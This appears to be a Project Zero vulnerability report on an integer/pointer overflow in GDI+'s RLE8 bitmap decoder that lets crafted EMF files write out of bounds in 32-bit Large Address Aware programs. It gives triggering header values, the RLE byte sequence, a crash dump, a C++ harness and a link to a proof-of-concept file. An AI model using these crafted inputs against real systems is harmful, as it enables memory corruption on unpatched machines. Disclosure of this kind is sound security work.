Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=824

The GDI+ library can handle bitmaps originating from untrusted sources through a variety of attack vectors, like EMF files, which may embed bitmaps in records such as EMR_PLGBLT, EMR_BITBLT, EMR_STRETCHBLT, EMR_STRETCHDIBITS etc. The GDI+ implementation supports bitmaps compressed with the BI_RLE8 (8-bit Run-Length Encoding) compression algorithm, and performs the actual decompression in the gdiplus!DecodeCompressedRLEBitmap function.

In a simplified scheme of things, let's introduce the following symbols, as they are calculated by GDI+ (all arithmetic is performed on signed 32-bit types):

columns = abs(biHeight)
bytes_per_row = abs(biWidth * (((biPlanes * biBitCount + 31) & 0xFFFFFFE0) / 8))

The output buffer used to store the decompressed bitmap is allocated from the heap and has a size of columns * bytes_per_row, which means the bitmap has a high degree of control over the buffer's length. One of the supported RLE escape codes is "End of Line", implemented as follows:

  --- cut ---
  out_ptr += bytes_per_row;
  if (out_ptr > output_buffer_end) {
    // Bail out.
  }
  --- cut ---

The above construct seems correct at a first glance, and indeed works fine on 64-bit platforms. However, in 32-bit Large Address Aware programs which can utilize the full 32-bit address space, the "out_ptr += bytes_per_row" expression may overflow the upper address space bound (0xFFFFFFFF), which will subsequently make the "out_ptr" pointer contain a completely invalid address, while still passing the "out_ptr > output_buffer_end" sanity check.

Here's an example:

  biWidth    = 0x05900000
  biHeight   = 0x00000017
  biPlanes   = 0x0001
  biBitCount = 0x0008

As a result, columns = 0x17, bytes_per_row = 0x590000 and the output buffer size is 0x7ff00000. In my test application, the buffer is allocated at address 0x7fff0020, and it ends at 0xffef0020. If we then encode the bitmap as:

  End of Line \
  End of Line |
  End of Line | 24 times
  ...         |
  End of Line /
  Repeat the 0xcc bytes 255 times.

Or in binary:

  000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFCC

Then the out_ptr pointer will change as follows:

  7fff0020
  858f0020
  8b1f0020
  ...
  ffef0020
  057f0020

As you can see, the address has passed the sanity checks at all stages, and now that it is out of the allocation's bounds, an attempt to write any data will result in a crash:

  --- cut ---
  (3434.194): Access violation - code c0000005 (first chance)
  First chance exceptions are reported before any exception handling.
  This exception may be expected and handled.
  eax=0011015e ebx=ffef0020 ecx=000000fe edx=057f01cc esi=057f0020 edi=0011a6f0
  eip=6b090e5a esp=0037f290 ebp=0037f2ac iopl=0         nv up ei pl nz na pe cy
  cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010207
  gdiplus!DecodeCompressedRLEBitmap+0x195:
  6b090e5a 8816            mov     byte ptr [esi],dl          ds:002b:057f0020=??
  0:000> ? dl
  Evaluate expression: 204 = 000000cc
  0:000> kb
  ChildEBP RetAddr  Args to Child              
  0037f2ac 6b091124 057f0020 cc11012c 0037f2cc gdiplus!DecodeCompressedRLEBitmap+0x195
  0037f6f4 6b092c7a 001100f8 0011012c 00000000 gdiplus!CopyOnWriteBitmap::CopyOnWriteBitmap+0x96
  0037f708 6b0932cc 001100f8 0011012c 00000000 gdiplus!CopyOnWriteBitmap::Create+0x23
  0037f720 6b0c1e8b 001100f8 0011012c 00000000 gdiplus!GpBitmap::GpBitmap+0x32
  0037f804 6b0c7ed1 0000004f 00143a30 0000a67c gdiplus!CEmfPlusEnumState::PlgBlt+0x92
  0037f818 6b0986ca 0000004f 0000a67c 00110074 gdiplus!CEmfPlusEnumState::ProcessRecord+0xe7
  0037f834 6b098862 0000004f 00000000 0000a67c gdiplus!GdipPlayMetafileRecordCallback+0x6c
  0037f85c 773955ec 472127aa 0047d798 00110074 gdiplus!EnumEmfDownLevel+0x6e
  0037f8e8 6b09aa36 472127aa 403581b3 6b0987f4 GDI32!bInternalPlayEMF+0x6a3
  0037f920 6b09d199 472127aa 54461fd1 0137f98c gdiplus!MetafilePlayer::EnumerateEmfRecords+0x104
  0037f9c8 6b09f455 00000000 54461fd1 0037faf0 gdiplus!GpGraphics::EnumEmf+0x391
  0037fb28 6b0a4742 00000000 42901225 42901d0b gdiplus!GpMetafile::EnumerateForPlayback+0x7b9
  0037fc24 6b0a47c6 00143228 00000000 00000000 gdiplus!GpGraphics::DrawImage+0x3f5
  0037fc88 6b09c792 00143228 0037fcfc 0037fcfc gdiplus!GpGraphics::DrawImage+0x51
  0037fcc0 6b09ea7a 00143228 0037fcfc 00000005 gdiplus!GpGraphics::DrawMetafileSplit+0x1f
  0037fd14 6b09f4d5 00142f10 0037fda0 00000000 gdiplus!GpMetafile::ConvertToEmfPlus+0x1c1
  0037fd38 6b074f71 00142f10 0037fda0 00000005 gdiplus!GpMetafile::ConvertToEmfPlus+0x1d
  0037fd74 0118117e 00142f10 00143228 0037fda0 gdiplus!GdipConvertToEmfPlus+0xbf
  ...
  --- cut ---

The issue has been reproduced with a C++ program built with Microsoft Visual Studio 2013 for the x86 platform and with the /LARGEADDRESSAWARE flag set, which boils down to the following code:

  --- cut ---
  Graphics graphics(hdc);
  Metafile *mf = new Metafile(L"C:\\path\\to\\poc.emf");

  INT conversionSuccess;
  mf->ConvertToEmfPlus(&graphics, &conversionSuccess, Gdiplus::EmfTypeEmfPlusDual, NULL);
  --- cut ---

The poc.emf file is attached. The reproducibility of the crash using the specific testcase is obviously highly dependent on the state of the process address space while loading the image, so poc.emf might not necessarily lead to a crash of a GDI+ client other than the test program (such as Microsoft Office).

The above analysis was performed using the gdiplus.dll file found in C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23407_none_5c02a2f5a011f9be\GdiPlus.dll on a fully patched Windows 7 64-bit operating system (md5sum c861ee277cd4e2d914740000161956ef).


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40255.zip